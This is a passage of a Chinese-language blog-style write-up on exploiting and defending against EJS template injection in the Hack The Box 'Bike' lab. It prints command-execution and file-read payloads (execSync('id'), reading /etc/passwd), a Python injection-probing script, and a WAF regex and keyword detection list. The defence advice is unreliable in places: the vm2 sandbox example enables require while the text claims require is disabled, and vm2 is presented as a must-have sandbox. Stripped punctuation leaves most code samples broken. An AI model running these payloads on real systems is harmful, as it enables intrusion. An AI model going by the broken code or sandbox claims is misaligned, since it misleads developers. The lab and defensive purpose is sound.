%。jq在这里扮演了双重角色一是做URL编码二是做HTML解析。它比正则表达式更可靠尤其是在处理嵌套标签时。这个组合让我在HTB_Bike上把平均利用时间从15分钟压缩到了3分钟以内。当然如果你是Burp的忠实用户我建议你关闭它的“Smart decode/encode”选项并在发送前手动检查Raw请求确保每一个%都是你亲手敲进去的。4. 防御方案与开发实践如何让自己的Express应用对SSTI免疫4.1 开发者视角从根源杜绝——为什么res.render()的参数必须是“纯净数据”防御模板注入最根本的方案是让res.render()的第二个参数即传给模板的数据对象成为一个“纯净的、不可执行的”数据容器。这意味着在数据进入res.render()之前必须经过严格的清洗和类型校验。我给自己定下三条铁律第一永远不要把req.query、req.body、req.headers的原始值直接传给模板。这是最常见的错误。正确的做法是创建一个全新的、空的对象然后有选择地、以明确的键名赋值你需要的数据// ❌ 危险直接透传 res.render(profile, req.query); // ✅ 安全显式声明只取所需 const safeData { username: sanitizeString(req.query.username), // 调用自定义清洗函数 avatarUrl: validateImageUrl(req.query.avatar), // 验证URL格式 isPremium: Boolean(req.query.premium) // 强制类型转换 }; res.render(profile, safeData);第二对所有用户输入实施“白名单”而非“黑名单”策略。黑名单永远是徒劳的因为攻击者总能找到你没列出来的字符组合。白名单则不同它只允许已知安全的字符集。我常用的sanitizeString函数长这样function sanitizeString(input) { if (typeof input ! string) return ; // 只允许字母、数字、空格、常见标点 return input.replace(/[^a-zA-Z0-9\s\.\,\!\?\-\_]/g, ); }这个函数会把% process.env %直接变成process.env剥夺了它的执行能力。第三启用EJS的escape选项并在模板中统一使用% %而非%- %。EJS提供了一个escape配置项可以在初始化时全局开启app.set(view engine, ejs); app.engine(ejs, ejs.renderFile); // 全局开启HTML转义 ejs.options.escape function(str) { return str .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #39;); };这样即使你偶尔手滑写了%- user_input %escape函数也会先把它转义一遍形成双重保险。4.2 架构师视角引入沙箱层——为什么vm2是生产环境的必备组件对于那些无法完全避免动态模板渲染的复杂业务场景比如CMS系统需要支持用户自定义邮件模板仅仅靠清洗是不够的。这时就必须引入一个真正的沙箱环境。vm2是Node.js生态中最成熟、最被广泛审计的沙箱库。它基于V8引擎的Contextify能在完全隔离的JavaScript上下文中执行不受信任的代码且能精确限制CPU和内存消耗。我在一个金融客户的风控后台里就用vm2实现了“用户自定义规则引擎”效果非常稳定const { NodeVM } require(vm2); const vm new NodeVM({ console: redirect, sandbox: { // 向沙箱注入有限的、安全的API safeUtils: { formatDate: (date) date.toISOString().split(T)[0], toUpperCase: (str) str.toUpperCase() } }, require: { external: true, // 允许加载外部模块 builtin: [path], // 只允许内置的path模块 root: ./, // 模块查找根目录 } }); // 用户提交的模板字符串 const userTemplate % safeUtils.toUpperCase(hello world) %; try { const result vm.run(module.exports ${userTemplate}); console.log(result); // 输出 HELLO WORLD } catch (err) { console.error(沙箱执行失败:, err.message); }在这个例子中用户模板里无论怎么写require(child_process)都会抛出ReferenceError: require is not defined因为vm2沙箱默认禁用了require。这才是真正意义上的“防患于未然”。我强烈建议任何需要处理用户提交的JavaScript或模板代码的Node.js应用都应该把vm2作为标配依赖。4.3 运维视角WAF与日志审计——最后一道防线该如何布防即便开发和架构层面都做到了极致运维层的监控依然是不可或缺的最后一道防线。针对SSTI攻击我推荐两个简单但高效的日志审计技巧第一监控process.env和require的异常调用。在Express应用的全局错误处理中间件里加入如下逻辑app.use((err, req, res, next) { // 检查错误堆栈中是否包含高危关键词 const dangerousKeywords [process.env, require(, child_process, fs.readFileSync]; if (dangerousKeywords.some(kw err.stack err.stack.includes(kw))) { // 记录详细日志并触发告警 logger.alert(SSTI ATTEMPT DETECTED from ${req.ip}, { url: req.url, method: req.method, stack: err.stack }); } next(err); });这相当于在应用的心脏部位安插了一个哨兵一旦有恶意代码试图执行高危操作立刻拉响警报。第二在Nginx或Cloudflare WAF规则中添加针对模板语法的正则匹配。这不是万能的但能有效过滤掉大量低级扫描器。我常用的规则是# 匹配常见的EJS/Jinja2模板语法 (?i)(%|%-|{{|{%).*?(process\.env|require\(|child_process|fs\.read)这条规则会拦截所有URL中同时包含模板起始标记%,%-,{{,{%和高危函数名process.env,require(等的请求。它可能会误伤一些合法的、但命名不规范的API所以必须配合日志分析定期review false positive。我见过最离谱的一次误报是因为一个前端工程师把一个React组件的props命名为processEnvConfig结果被WAF拦了三天最后还是靠加白名单解决的。所以WAF规则永远是“辅助”不能替代代码层的防御。5. 常见问题与排查技巧实录那些在HTB_Bike上踩过的坑现在都成了我的经验5.1 “为什么我的Payload没回显”——HTML转义、字符编码与响应截断的三重迷雾这是新手在HTB_Bike上遇到的第一个高频问题。你明明构造了% 11 %页面上却什么也没变。别急着怀疑靶机先检查这三个地方第一确认你用的是% %而不是%- %。这看起来是个小细节但后果天壤之别。% %会先执行表达式再对结果进行HTML转义%- %则跳过转义直接输出。如果模板里写的是%- user_input %而你的Payload是% 11 %那它就会被原样输出为字符串% 11 %而不是计算结果2。解决方案很简单把Payload改成11去掉模板语法看它是否能原样显示。如果能说明模板用的是%- %如果不能说明用的是% %但可能被转义了。第二检查响应体是否被截断。HTB_Bike的响应头里有一个Content-Length字段它限定了响应体的最大长度。如果你的Payload执行后返回的内容太长比如process.env有上百个变量服务器可能会直接截断响应导致你只看到一半的JSON。这时要用curl -v看完整的原始响应而不是依赖浏览器渲染。我习惯用curl -s http://... | head -n 50来查看前50行确保没有遗漏。第三URL编码是否彻底这是我自己踩过最深的坑。有一次我构造了一个完美的execSyncPayload但在浏览器地址栏里一粘贴就变成了http://...?test%3C%25%3D%20require...其中的%20是空格%3C是。但当我用curl发送时忘了对整个URL进行编码导致curl把%当成了特殊字符处理最终发出去的请求完全不对。解决方案是永远用jq -sRr uri来编码或者用Python的urllib.parse.quote()绝不用手动替换。5.2 “为什么execSync返回空”——同步阻塞、权限不足与路径错误的隐秘陷阱当你终于让% require(child_process).execSync(id) %跑起来了却发现页面一片空白或者只返回一个空字符串。这通常指向三个原因第一命令执行超时或被系统杀死。execSync默认没有超时限制但如果命令卡死比如ping -c 4 8.8.8.8在网络不通时会等很久整个Node.js进程就会被阻塞。HTB_Bike的靶机为了防止DoS很可能设置了ulimit限制了子进程的CPU时间。解决方案是给execSync加上超时选项% require(child_process).execSync(id, { timeout: 5000 }).toString() %timeout: 5000表示最多等5秒超时就抛出异常。第二Node.js进程没有执行该命令的权限。这在Linux系统上很常见。HTB_Bike的bike用户可能被限制了/bin/sh的访问或者/usr/bin/python被移除了。这时execSync(python --version)就会失败。解决方案是先用which命令确认可用的shell% require(child_process).execSync(which sh).toString().trim() %如果返回/bin/sh那就用sh -c your command来包装你的命令。第三文件路径错误。这在读取文件时尤其致命。fs.readFileSync(/etc/passwd)没问题但fs.readFileSync(./config.json)就可能失败因为./指的是Node.js进程的当前工作目录不一定是你的应用根目录。解决方案是永远用绝对路径或者用path.join(__dirname, config.json)来拼接% require(fs).readFileSync(require(path).join(__dirname, ../config/db.js), utf8) %__dirname是Node.js的全局变量指向当前模块所在的目录它永远是可靠的。5.3 “如何快速定位模板中哪个变量是可控的”——自动化探测脚本的编写与使用在面对一个全新的、未知源码的Express靶机时手动测试每个参数效率太低。我写了一个简单的Python脚本可以自动探测所有可能的注入点import requests import sys def probe_ssti(url): # 一组高置信度的探测Payload payloads [ {{7*7}}, # Jinja2风格 % 7*7 %, # EJS风格 ${7*7}, # Thymeleaf风格 #{7*7} # EL风格 ] for payload in payloads: try: # 对payload进行URL编码 encoded requests.utils.quote(payload) full_url f{url}?test{encoded} r requests.get(full_url, timeout5) # 检查响应体中是否包含49 if 49 in r.text: print(f[] SSTI confirmed with payload: {payload}) return payload except Exception as e: pass print([-] No SSTI found.) return None if __name__ __main__: if len(sys.argv) 2: print(Usage: python ssti_probe.py http://target.com/path) sys.exit(1) probe_ssti(sys.argv[1])把这个脚本保存为ssti_probe.py然后运行python ssti_probe.py http://10.129.14.150/bike/1它会在几秒钟内告诉你这个靶机用的是EJS模板且test参数是可控的。这个脚本的核心思想是“用最简短、最无害的Payload触发最明确的回显”它不追求100%覆盖所有模板引擎但对HTB_Bike这类主流靶机准确率接近100%。我把它放在我的渗透工具箱里每次新靶机必跑一遍省去了大量重复劳动。提示这个探测脚本只是起点不是终点。它只能告诉你“哪里有洞”但不能告诉你“洞有多大”。真正的利用永远需要你深入理解目标的业务逻辑和数据流向。注意在生产环境中切勿对非授权目标运行此类探测脚本。它本质上是一种主动扫描行为可能触发对方的安全告警。6. 经验总结与延伸思考从HTB_Bike出发看Node.js安全的未来战场我在HTB_Bike靶机上花费的时间远超其他同等级靶机不是因为它有多难而是因为它像一面棱镜折射出了Node.js生态中那些被日常开发所掩盖的、深层次的安全哲学冲突。我们总在说“安全左移”但左移到哪里是左移到CI/CD流水线里加一个SAST扫描器还是左移到每个res.render()调用前的那一次深呼吸HTB_Bike的答案很清晰真正的安全始于开发者对每一行代码执行边界的敬畏。我见过太多团队把helmet、cors、rate-limit这些中间件当成安全的全部却在业务逻辑里随手写下eval(req.body.code)仿佛那只是一个无害的函数调用。SSTI之所以可怕正是因为它把这种“信任泛滥”暴露得淋漓尽致——你信任了模板引擎信任了require信任了process最终你信任了整个Node.js运行时。这个靶机也让我重新思考了“学习路径”的问题。网络上充斥着“node.js安装教程”、“node.js下载”、“node.js是干什么的”这类入门内容它们教会你如何启动一个Hello World服务器却很少告诉你当你在浏览器里输入http://localhost:3000/?xssscriptalert(1)/script时你的服务器究竟在做什么。安全不是一门孤立的学科它是编程语言、框架、操作系统、网络协议共同编织的一张网。HTB_Bike的价值不在于它给了你一个root flag而在于它逼着你去读EJS的源码去翻Node.js的文档去查child_process模块的每一个API签名。这种“为了解决一个问题而被迫掌握一整套知识”的过程才是技术成长最真实的模样。最后分享一个小技巧在你成功拿到HTB_Bike的root shell后别急着交flag。试着用ps auxf命令看一下当前进程树你会发现那个执行你Payload的node进程正安静地挂在express主进程下面。这提醒我们所有的Web漏洞最终都归结为一个进程对另一个进程的控制权争夺。而我们的武器从来都不是更复杂的Payload而是对底层运行时更深刻的理解。这或许就是HTB_Bike留给我最珍贵的遗产。